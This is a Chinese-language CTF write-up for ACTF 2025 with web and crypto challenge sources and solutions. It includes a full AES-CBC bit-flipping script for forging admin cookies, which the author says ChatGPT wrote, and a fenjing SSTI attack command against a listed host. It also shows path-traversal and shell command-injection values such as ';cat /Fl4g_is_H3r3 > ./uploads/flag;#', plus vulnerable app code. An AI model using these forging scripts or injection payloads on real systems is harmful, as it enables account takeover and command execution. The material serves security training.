Misc

signin

签到:https://github.com/team-s2/ACTF-2025


ACTF{w3lc0ME2aCtf2O25h@veAn1ceDAY}

Web

not so web 1

Web不够,其他来凑

这题也算是web吧,AES-CBC字节翻转攻击

先随便注册个账号登进去,拿到server code (encoded),解base64即可得到题目源码

import base64
import json
import time
import os
import sys
import binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,
session,
)

app = Flask(__name__)
app.secret_key = KEY


@dataclass(kw_only=True)
class APPUser:
name: str
password_raw: str
register_time: int


# In-memory store for user registration
users: Dict[str, APPUser] = {
"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie: str) -> bool:
if not cookie:
return False

try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False

if len(cookie_encrypted) < 32:
return False

try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
cookie_json = cipher.decrypt(padded)
except ValueError:
return False

try:
_ = json.loads(cookie_json)
except Exception:
return False

return True


def parse_cookie(cookie: str) -> Tuple[bool, str]:
if not cookie:
return False, ""

try:
cookie_encrypted = base64.b64decode(cookie, validate=True)
except binascii.Error:
return False, ""

if len(cookie_encrypted) < 32:
return False, ""

try:
iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(padded)
cookie_json_bytes = unpad(decrypted, 16)
cookie_json = cookie_json_bytes.decode()
except ValueError:
return False, ""

try:
cookie_dict = json.loads(cookie_json)
except Exception:
return False, ""

return True, cookie_dict.get("name")


def generate_cookie(user: APPUser) -> str:
cookie_dict = asdict(user)
cookie_json = json.dumps(cookie_dict)
cookie_json_bytes = cookie_json.encode()
iv = os.urandom(16)
padded = pad(cookie_json_bytes, 16)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(padded)
return base64.b64encode(iv + encrypted).decode()


@app.route("/")
def index():
if validate_cookie(request.cookies.get("jwbcookie")):
return redirect(url_for("home"))
return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
user_name = request.form["username"]
password = request.form["password"]
if user_name in users:
flash("Username already exists!", "danger")
else:
users[user_name] = APPUser(
name=user_name, password_raw=password, register_time=int(
time.time())
)
flash("Registration successful! Please login.", "success")
return redirect(url_for("login"))
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username].password_raw == password:
resp = redirect(url_for("home"))
resp.set_cookie("jwbcookie", generate_cookie(users[username]))
return resp
else:
flash("Invalid credentials. Please try again.", "danger")
return render_template("login.html")


@app.route("/home")
def home():
valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
if not valid or not current_username:
return redirect(url_for("logout"))

user_profile = users.get(current_username)
if not user_profile:
return redirect(url_for("logout"))

if current_username == "admin":
payload = request.args.get("payload")
html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">Welcome, %s !</h2>
<div class="text-center">
Your payload: %s
</div>
<img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
""" % (
current_username,
payload,
)
else:
html_template = (
"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">server code (encoded)</h2>
<div class="text-center" style="word-break:break-all;">
{%% raw %%}
%s
{%% endraw %%}
</div>
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
"""
% base64.b64encode(open(__file__, "rb").read()).decode()
)
return render_template_string(html_template)


@app.route("/logout")
def logout():
resp = redirect(url_for("login"))
resp.delete_cookie("jwbcookie")
return resp


if __name__ == "__main__":
app.run()

思路很明确,伪造admin,因为现在字节翻转攻击前人的研究都挺多了的,我们直接拷打ChatGPT

#!/usr/bin/env python3
import base64
import json
import sys

BLOCK_SIZE = 16


def flip_bytes(cookie_b: bytes, offset: int, orig: bytes, target: bytes) -> bytes:
"""
对 cookie 中位于指定 offset 处的前一块(IV 或上一块密文)进行字节修改,
修改公式:new_byte = old_byte XOR (orig_byte XOR target_byte)
orig 和 target 必须长度相同。
"""
if len(orig) != len(target):
raise ValueError("原始用户名和目标用户名长度必须一致!")

# cookie_b = IV || C1 || C2 || ... 按 16 字节为一块
# 计算需要修改的块索引以及在块内的位置
block_index = offset // BLOCK_SIZE
byte_index = offset % BLOCK_SIZE

# 如果 block_index==0 ,则修改 IV;否则修改前一个密文块
if block_index == 0:
mod_block_start = 0 # IV 就在前 16 字节
else:
mod_block_start = block_index * BLOCK_SIZE - BLOCK_SIZE

mod_block = bytearray(
cookie_b[mod_block_start: mod_block_start + BLOCK_SIZE])

# 对需要修改的部分依次进行位翻转
for i in range(len(orig)):
pos_in_block = byte_index + i
if pos_in_block >= BLOCK_SIZE:
raise ValueError("用户名跨越块边界,本脚本目前只支持单个块内部修改!")
# 原先密文中前一块的对应字节 old_byte
old_byte = mod_block[pos_in_block]
# 计算差异
diff = orig[i] ^ target[i]
mod_block[pos_in_block] = old_byte ^ diff

# 将修改后的块写回到 cookie_b 中
cookie_b = bytearray(cookie_b)
cookie_b[mod_block_start: mod_block_start + BLOCK_SIZE] = mod_block
return bytes(cookie_b)


def find_username_offset(plaintext: str, username: str) -> int:
"""
计算 username 在 plaintext 中的偏移量。
plaintext 通常是生成 cookie 时的 JSON 字符串
"""
pos = plaintext.find(username)
if pos == -1:
raise ValueError("未在预估的明文中找到用户名字符串!")
return pos


def simulate_plaintext(orig_username: str):
"""
构造一个与服务端 JSON 序列化结果格式类似的字符串,
仅用于推断用户名所在偏移位置。
"""
# 注意:实际的 register_time 和 password_raw 无关紧要,此处只需保证结构格式与实际一致
data = {
"name": orig_username,
"password_raw": "dummy",
"register_time": 0
}
return json.dumps(data)


def main():
if len(sys.argv) != 4:
print("用法: {} <cookie_base64> <orig_username> <target_username>".format(
sys.argv[0]))
print("例如: {} <cookie_str> aaaaa admin".format(sys.argv[0]))
sys.exit(1)

cookie_base64 = sys.argv[1]
orig_username = sys.argv[2].encode()
target_username = sys.argv[3].encode()

if len(orig_username) != len(target_username):
print("原始用户名和目标用户名长度必须一致!")
sys.exit(1)

# 解码原始 cookie
try:
cookie_bytes = base64.b64decode(cookie_base64)
except Exception as e:
print("cookie解码失败: ", e)
sys.exit(1)

# 模拟生成明文,帮助定位用户名位置
plaintext_sim = simulate_plaintext(orig_username.decode())
try:
offset = find_username_offset(plaintext_sim, orig_username.decode())
except ValueError as e:
print(e)
sys.exit(1)

print("推测用户名在明文中的偏移量:", offset)

# 修改 cookie 中对应的前一块数据
cookie_modified = flip_bytes(
cookie_bytes, offset, orig_username, target_username)

# 输出新的 cookie
new_cookie_base64 = base64.b64encode(cookie_modified).decode()
print("新构造的 cookie:")
print(new_cookie_base64)


if __name__ == '__main__':
main()

我们要先拿到aaaaacookie,貌似这里用户已经存在了,我直接用一手123456的弱口令就登进去了

接下来就是SSTIfenjing直接梭

GET /home?payload=PAYLOAD HTTP/1.1
Host: 61.147.171.105:63789
Referer: http://61.147.171.105:63789/login
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: jwbcookie=2nRR2vOrnDt+vcwOrbWN3f8SGG1kNMmek6VPEE7iZeu9EI9LY9V+cjXoKdh6r4IvaPCzi3AGKY+tlfr1HdEgjxsy5IANc9hX3VCnN66pvQiCM2xu1aHzHAVzHSYAr2qX

python3 -m fenjing crack-request -f http.txt --host “61.147.171.105” --port 63789

ACTF{n3vEr_imPlem3nT_SuCh_Iv_HIJacK4bl3_C00Kie}

我这里使用的是wsl2的环境,因为之前试过我的win跑不了。。。

ACTF upload

图片的内容就是文件base64编码之后的输出

可以看到是Python的服务,直接尝试读取/upload?file_path=../../../app/app.py

import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session

app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')

@app.route('/')
def index():
if session.get('username'):
return redirect(url_for('upload'))
else:
return redirect(url_for('login'))

@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username == 'admin':
if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
session['username'] = username
return redirect(url_for('index'))
else:
flash('Invalid password')
else:
session['username'] = username
return redirect(url_for('index'))
else:
return '''
<h1>Login</h1>
<h2>No need to register.</h2>
<form action="/login" method="post">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
<br>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
<br>
<input type="submit" value="Login">
</form>
'''

@app.route('/upload', methods=['POST', 'GET'])
def upload():
if not session.get('username'):
return redirect(url_for('login'))

if request.method == 'POST':
f = request.files['file']
file_path = str(uuid.uuid4()) + '_' + f.filename
f.save('./uploads/' + file_path)
return redirect(f'/upload?file_path={file_path}')

else:
if not request.args.get('file_path'):
return '''
<h1>Upload Image</h1>

<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
'''

else:
file_path = './uploads/' + request.args.get('file_path')
if session.get('username') != 'admin':
with open(file_path, 'rb') as f:
content = f.read()
b64 = base64.b64encode(content)
return f'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
else:
os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
# with open(f'/tmp/{file_path}.b64', 'r') as f:
# return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
return 'Sorry, but you are not allowed to view this image.'

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

这里给了admin密码的哈希值,爆破一手,我用的passwd-EN-Top10000,得到密码为backdoor

然后关注最后的条件判断,可以看到有命令执行file_path我们是可控的,这里只有admin可以命令执行但不能读文件,而普通用户是可以直接读文件

所以思路就是admin传参命令执行重定向,然后普通用户读

admin: /upload?file_path=;cat /Fl4g_is_H3r3 > ./uploads/flag;#
普通用户:/upload?file_path=flag

not so web 2*

这次用了非对称应该安全了吧

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Hash import SHA256
from flask import (
Flask,
render_template,
render_template_string,
request,
redirect,
url_for,
flash,
session,
abort,
)

app = Flask(__name__)
app.secret_key = KEY

if os.path.exists("/etc/ssl/nginx/local.key"):
private_key = RSA.importKey(open("/etc/ssl/nginx/local.key", "r").read())
else:
private_key = RSA.generate(2048)

public_key = private_key.publickey()


@dataclass
class APPUser:
name: str
password_raw: str
register_time: int


# In-memory store for user registration
users: Dict[str, APPUser] = {
"admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie_b64: str) -> bool:
valid, _ = parse_cookie(cookie_b64)
return valid


def parse_cookie(cookie_b64: str) -> Tuple[bool, str]:
if not cookie_b64:
return False, ""

try:
cookie = base64.b64decode(cookie_b64, validate=True).decode()
except binascii.Error:
return False, ""

try:
msg_str, sig_hex = cookie.split("&")
except Exception:
return False, ""

msg_dict = json.loads(msg_str)
msg_str_bytes = msg_str.encode()
msg_hash = SHA256.new(msg_str_bytes)
sig = bytes.fromhex(sig_hex)
try:
PKCS1_v1_5.new(public_key).verify(msg_hash, sig)
valid = True
except (ValueError, TypeError):
valid = False
return valid, msg_dict.get("user_name")


def generate_cookie(user: APPUser) -> str:
msg_dict = {"user_name": user.name, "login_time": int(time.time())}
msg_str = json.dumps(msg_dict)
msg_str_bytes = msg_str.encode()
msg_hash = SHA256.new(msg_str_bytes)
sig = PKCS1_v1_5.new(private_key).sign(msg_hash)
sig_hex = sig.hex()
packed = msg_str + "&" + sig_hex
return base64.b64encode(packed.encode()).decode()


@app.route("/")
def index():
if validate_cookie(request.cookies.get("jwbcookie")):
return redirect(url_for("home"))
return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
user_name = request.form["username"]
password = request.form["password"]
if user_name in users:
flash("Username already exists!", "danger")
else:
users[user_name] = APPUser(
name=user_name, password_raw=password, register_time=int(time.time())
)
flash("Registration successful! Please login.", "success")
return redirect(url_for("login"))
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form["username"]
password = request.form["password"]
if username in users and users[username].password_raw == password:
resp = redirect(url_for("home"))
resp.set_cookie("jwbcookie", generate_cookie(users[username]))
return resp
else:
flash("Invalid credentials. Please try again.", "danger")
return render_template("login.html")


@app.route("/home")
def home():
valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
if not valid or not current_username:
return redirect(url_for("logout"))

user_profile = users.get(current_username)
if not user_profile:
return redirect(url_for("logout"))

if current_username == "admin":
payload = request.args.get("payload")
if payload:
for char in payload:
if char in "'_#&;":
abort(403)
return

html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">Welcome, %s !</h2>
<div class="text-center">
Your payload: %s
</div>
<img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
""" % (
current_username,
payload,
)
else:
html_template = (
"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
<div class="container">
<h2 class="text-center">server code (encoded)</h2>
<div class="text-center" style="word-break:break-all;">
{%% raw %%}
%s
{%% endraw %%}
</div>
<div class="text-center">
<a href="/logout" class="btn btn-danger">Logout</a>
</div>
</div>
</body>
</html>
"""
% base64.b64encode(open(__file__, "rb").read()).decode()
)
return render_template_string(html_template)


@app.route("/logout")
def logout():
resp = redirect(url_for("login"))
resp.delete_cookie("jwbcookie")
return resp


if __name__ == "__main__":
app.run()

这回使用了RSA……

Excellent-Site*

My site is PERFECT!!!
hosts: 0.0.0.0 ezmail.org

import smtplib 
import imaplib
import email
import sqlite3
from urllib.parse import urlparse
import requests
from email.header import decode_header
from flask import *

app = Flask(__name__)

def get_subjects(username, password):
imap_server = "ezmail.org"
imap_port = 143
try:
mail = imaplib.IMAP4(imap_server, imap_port)
mail.login(username, password)
mail.select("inbox")
status, messages = mail.search(None, 'FROM "admin@ezmail.org"')
if status != "OK":
return ""
subject = ""
latest_email = messages[0].split()[-1]
status, msg_data = mail.fetch(latest_email, "(RFC822)")
for response_part in msg_data:
if isinstance(response_part, tuple):
msg = email.message_from_bytes(response_part [1])
subject, encoding = decode_header(msg["Subject"]) [0]
if isinstance(subject, bytes):
subject = subject.decode(encoding if encoding else 'utf-8')
mail.logout()
return subject
except:
return "ERROR"

def fetch_page_content(url):
try:
parsed_url = urlparse(url)
if parsed_url.scheme != 'http' or parsed_url.hostname != 'ezmail.org':
return "SSRF Attack!"
response = requests.get(url)
if response.status_code == 200:
return response.text
else:
return "ERROR"
except:
return "ERROR"

@app.route("/report", methods=["GET", "POST"])
def report():
message = ""
if request.method == "POST":
url = request.form["url"]
content = request.form["content"]
smtplib._quote_periods = lambda x: x
mail_content = """From: ignored@ezmail.org\r\nTo: admin@ezmail.org\r\nSubject: {url}\r\n\r\n{content}\r\n.\r\n"""
try:
server = smtplib.SMTP("ezmail.org")
mail_content = smtplib._fix_eols(mail_content)
mail_content = mail_content.format(url=url, content=content)
server.sendmail("ignored@ezmail.org", "admin@ezmail.org", mail_content)
message = "Submitted! Now wait till the end of the world."
except:
message = "Send FAILED"
return render_template("report.html", message=message)

@app.route("/bot", methods=["GET"])
def bot():
requests.get("http://ezmail.org:3000/admin")
return "The admin is checking your advice(maybe)"

@app.route("/admin", methods=["GET"])
def admin():
ip = request.remote_addr
if ip != "127.0.0.1":
return "Forbidden IP"
subject = get_subjects("admin", "p@ssword")
if subject.startswith("http://ezmail.org"):
page_content = fetch_page_content(subject)
return render_template_string(f"""
<h2>Newest Advice(from myself)</h2>
<div>{page_content}</div>
""")
return ""

@app.route("/news", methods=["GET"])
def news():
news_id = request.args.get("id")

if not news_id:
news_id = 1

conn = sqlite3.connect("news.db")
cursor = conn.cursor()

cursor.execute(f"SELECT title FROM news WHERE id = {news_id}")
result = cursor.fetchone()
conn.close()

if not result:
return "Page not found.", 404
return result[0]

@app.route("/")
def index():
return render_template("index.html")

if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000)

Crypto

easy_log*

E@sy L0g

from Crypto.Util.number import long_to_bytes, bytes_to_long, isPrime
from os import urandom
from random import randint
from collections import namedtuple
from signal import alarm

Point = namedtuple("Point", "x y")
O = "Origin"

def point_addition(P, Q, n):
if P == O:
return Q
if Q == O:
return P
x = (P.x * Q.y + P.y * Q.x - P.x * Q.x) % n
y = (P.x * Q.x + P.y * Q.y) % n
return Point(x, y)

def double_and_add(k, P, n):
Q = P
R = O
while(k > 0):
if k & 1:
R = point_addition(R, Q, n)
k >>= 1
Q = point_addition(Q, Q, n)
return R

with open("flag.txt", "rb") as f:
flag = f.read()

assert len(flag) == 50
flag = urandom(randint(38, 48)) + flag
flag = flag + urandom(118 - len(flag))

flag1, flag2 = bytes_to_long(flag[:68]), bytes_to_long(flag[68:])

n = 0x231d5fa471913e79facfd95e9b874e2d499def420e0914fab5c9f87e71c2418d1194066bd8376aa8f02ef35c1926f73a46477cd4a88beae89ba575bb3e1b04271426c6706356dd8cd9aa742d7ad0343f8939bfd2110d45122929d29dc022da26551e1ed7000
G1 = Point(0xf22b9343408c5857048a19150c8fb9fd44c25d7f6decabc10bf46a2250a128f0df15adc7b82c70c0acaf855c0e898b141c9c94ba8aef8b67ea298c6d9fd870ea70e1c4f8a1b595d15373dc6db25a4ecddf626a64f47beba5538b7f733e4aa0c4f1fd4c291d, 0x8d3264514b7fdbce97fbaedb33120c7889a1af59691a1947c2c7061347c091b0950ca36efaa704514004a988b9b87b24f5cebf2d1c7bef44ff172519e1a62eb62cde234c94bd0ab39375d7ddb42e044090c8db46d3f965ef7e4753bc41dac3b8b3ae0cdb57)
G2 = Point(0x81919777837d3e5065c6f7f6801fe29544180be9db2137f075f53ebb3307f917183c6fc9cdfc5d75977f7, 0xd1a586d6848caa3a5436a86d903516d83808ce2fa49c5fb3f183ecb855e961c7e816a7ba8f588ef947f19)

f1 = double_and_add(flag1, G1, n)

print(f1)

alarm(30)

if flag1 != int(input()):
exit()

p = int(input())

assert isPrime(p) and p.bit_length() == 400

f2 = double_and_add(flag2, G2, p)

print(f2)

AAALLL*

Let’s welcome AAA’s LLL master!

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from random import choice, sample
from secret import flag
from hashlib import md5

def sample_ternery_poly(Q):
return Q([choice([-1, 0, 1]) for _ in range(Q.degree())])

n = 450
p = 3774877201
t = n//2

P.<x> = PolynomialRing(GF(p))
g = x^n+1
roots = [i[0] for i in g.roots()]

subset = sample(roots, t)

Q.<x> = P.quotient(x^n+1)
f = sample_ternery_poly(Q)
f_lift = f.lift()
values = [f_lift(i) for i in subset]

print(f"subset: {subset}")
print(f"values: {values}")

key = md5(str(f.list()).encode()).digest()
aes = AES.new(key = key, mode = AES.MODE_ECB)
print(f"ct: {aes.encrypt(pad(flag, 16))}")

'''
subset: [1040018022, 3719840057, 2086762603, 3065369513, 3179320758, 891114580, 966265556, 664146925, 1232096603, 1449704729, 2810118429, 2891821810, 698162894, 3070228878, 3114653287, 2793650430, 2941920517, 1811454265, 325024118, 1860481904, 555392385, 2818572232, 3719972491, 981226771, 1777524396, 2717373523, 3694549306, 91210020, 1397236365, 2806262125, 1966653548, 1369610707, 3545263790, 595556443, 1601356313, 2865921937, 2795518764, 1690002428, 3501122295, 2078440315, 1222414863, 1997352805, 271758023, 3348936352, 1800648013, 410072905, 3378691273, 185134810, 1281817316, 821730517, 2855781188, 3353349707, 273754906, 1187616168, 569728457, 401428606, 3671298095, 149603298, 2300569286, 1057503678, 1915386614, 2716934671, 2005635066, 389589525, 2691165686, 586877133, 2874838, 660954102, 3258633701, 1083711515, 1785913794, 3410290851, 1914395297, 2544074509, 3076714307, 2169463229, 2654223166, 3648299978, 3188000068, 1130206965, 875184747, 2549126013, 3602874619, 80327895, 983400559, 2423201604, 3384400899, 654136379, 1835112234, 3302809337, 3388376496, 364586350, 3219484816, 52162306, 3488542302, 2843511894, 638341256, 427235375, 757491483, 3364804296, 172002582, 3112473265, 2746078509, 2118542465, 421527494, 3017385718, 3683667181, 3536621837, 3113923099, 1989065494, 1769242135, 1541932517, 1963422936, 2341204092, 3306256995, 186750428, 1381468653, 1288011784, 229613411, 839241230, 425544589, 2345390466, 2552462338, 286334899, 2984993503, 3741109364, 103579106, 138703348, 2369990075, 2377640836, 1279106009, 2542780598, 1653097443, 3373448595, 2405266494, 3385287676, 289622793, 2376573706, 3096235437, 1971476669, 3449853083, 3565565810, 762810383, 272826480, 516243500, 1710511548, 3233762177, 2013126070, 224313638, 1884110819, 3141861971, 2014729696, 1572103482, 2232944684, 2644670236, 1350302342, 3589742391, 2106163918, 1077036824, 3527373372, 2474464298, 971863088, 1219963894, 3349332612, 1474307915, 905651245, 2666266327, 2192845472, 2748042118, 1489782942, 1300412903, 126577223, 545427793, 360417066, 704648323, 3562938536, 908955264, 1108610874, 247503829, 2379959160, 1059927520, 2869225956, 2202773719, 1498564318, 2032958616, 3485254408, 1091224495, 3287849020, 780873181, 3410363615, 1398303495, 2426564739, 487028181, 1230802692, 139226346, 789883698, 2557862280, 2994004020, 3205148744, 2914199937, 1803400532, 2738281702, 883055391, 1761751131, 1220550272, 1947825121, 3543565567, 1939764967, 2986882625, 798323428, 1120654035, 3722714895, 3679983602, 364513586, 1760147505, 472067864, 2393408548, 2239781327, 799334306, 3497260623, 2769084221, 860677264, 990410164, 3772002363, 2883762621]
values: [712538976, 1225537965, 2633482204, 1245652635, 2529155164, 1672980719, 3024410928, 1535384351, 2252244320, 672919726, 2976916118, 3089453551, 2512277279, 2431400831, 1129198075, 3441247454, 610984549, 2043949242, 3306515233, 2759625250, 2459507335, 2885552592, 3226187015, 983312810, 1815610133, 871259259, 3651562935, 570267317, 2548725905, 70380481, 685470168, 1925389996, 2466124957, 1512923993, 2603725653, 409457162, 859041441, 3193931087, 786021320, 2481319115, 2379423262, 1972220678, 251474531, 448830331, 3189297419, 845468707, 3014186402, 1476144624, 1412175603, 464556671, 1251535251, 2252149066, 3501165225, 1173484383, 1168113959, 2547845342, 3132683037, 182880838, 3236782773, 637440805, 1077834200, 910992912, 1281164705, 763525563, 1025793488, 3031918542, 2457090411, 159146268, 3252417067, 1695150089, 1863899429, 2660689081, 647461624, 3736679821, 2034134877, 973654854, 1545264273, 692989149, 769387639, 2024000598, 2916906076, 1996631367, 2889527392, 527082343, 3319918691, 3629378248, 685639382, 2659312228, 472574946, 1237496521, 434512296, 3649895972, 3500730074, 1092276151, 1513927060, 1179642291, 474879861, 1132457849, 3072787035, 1536862618, 3131879287, 1635514910, 2467715064, 2377496874, 2888951190, 3697148067, 1885811970, 1037114846, 2862197847, 2248493059, 829223452, 17390497, 1063920331, 2504310664, 2269937803, 667770896, 1855657371, 323906741, 2972650844, 3620395133, 2613325861, 2508686438, 2143229100, 977352912, 3380653143, 2367018411, 1665354812, 2473914413, 3531805346, 2023595772, 1909192693, 844059686, 2233570033, 1997039839, 3558799006, 2872633369, 1949018254, 3159312415, 3021409934, 2505867881, 2357897866, 3436059930, 1496867815, 594001374, 3433203342, 2396280741, 2696363547, 1775021594, 434891096, 862244228, 1372573410, 3003385341, 3051290794, 493688483, 2143128679, 394087901, 3668481745, 1085467544, 2438896216, 1782052147, 2415529482, 149721114, 1539904401, 1902915995, 1929333694, 1759980967, 2106193398, 3670877657, 2736025727, 3133082490, 182590224, 1099952929, 3522052498, 2206338880, 1925988633, 3440533747, 25471854, 325651518, 72348028, 3178620735, 3335468600, 818634602, 2932340363, 1163855672, 2453716531, 373827915, 2373018915, 2231504345, 2975884007, 3636085022, 2354093635, 2696203979, 799834661, 2412088324, 1446875965, 3299868618, 302142905, 1957341475, 1522953201, 1257060525, 3769499753, 1591149900, 295691418, 3249943297, 1280379656, 1164820140, 115871117, 219831260, 2505969457, 2618672354, 2781617927, 2886486193, 1648555579, 1265576372, 1720183485, 2424145699, 2772052592, 2399827477, 626825210, 2422432913, 322266950, 2157976175, 2208875362, 2216568965, 3223085486]
ct: b'"\xf2Y\xf0\x15\xc5x\x94\xb9E\xbd\xd3\xa7\xb1\xad\x00\xa2D*+\x87BQ_20\x87\xa2\nP\xfc\xce\x0eW\xaf\xd8-.\xb5\xfai\xf1\xf6*\xben^\xd5'
'''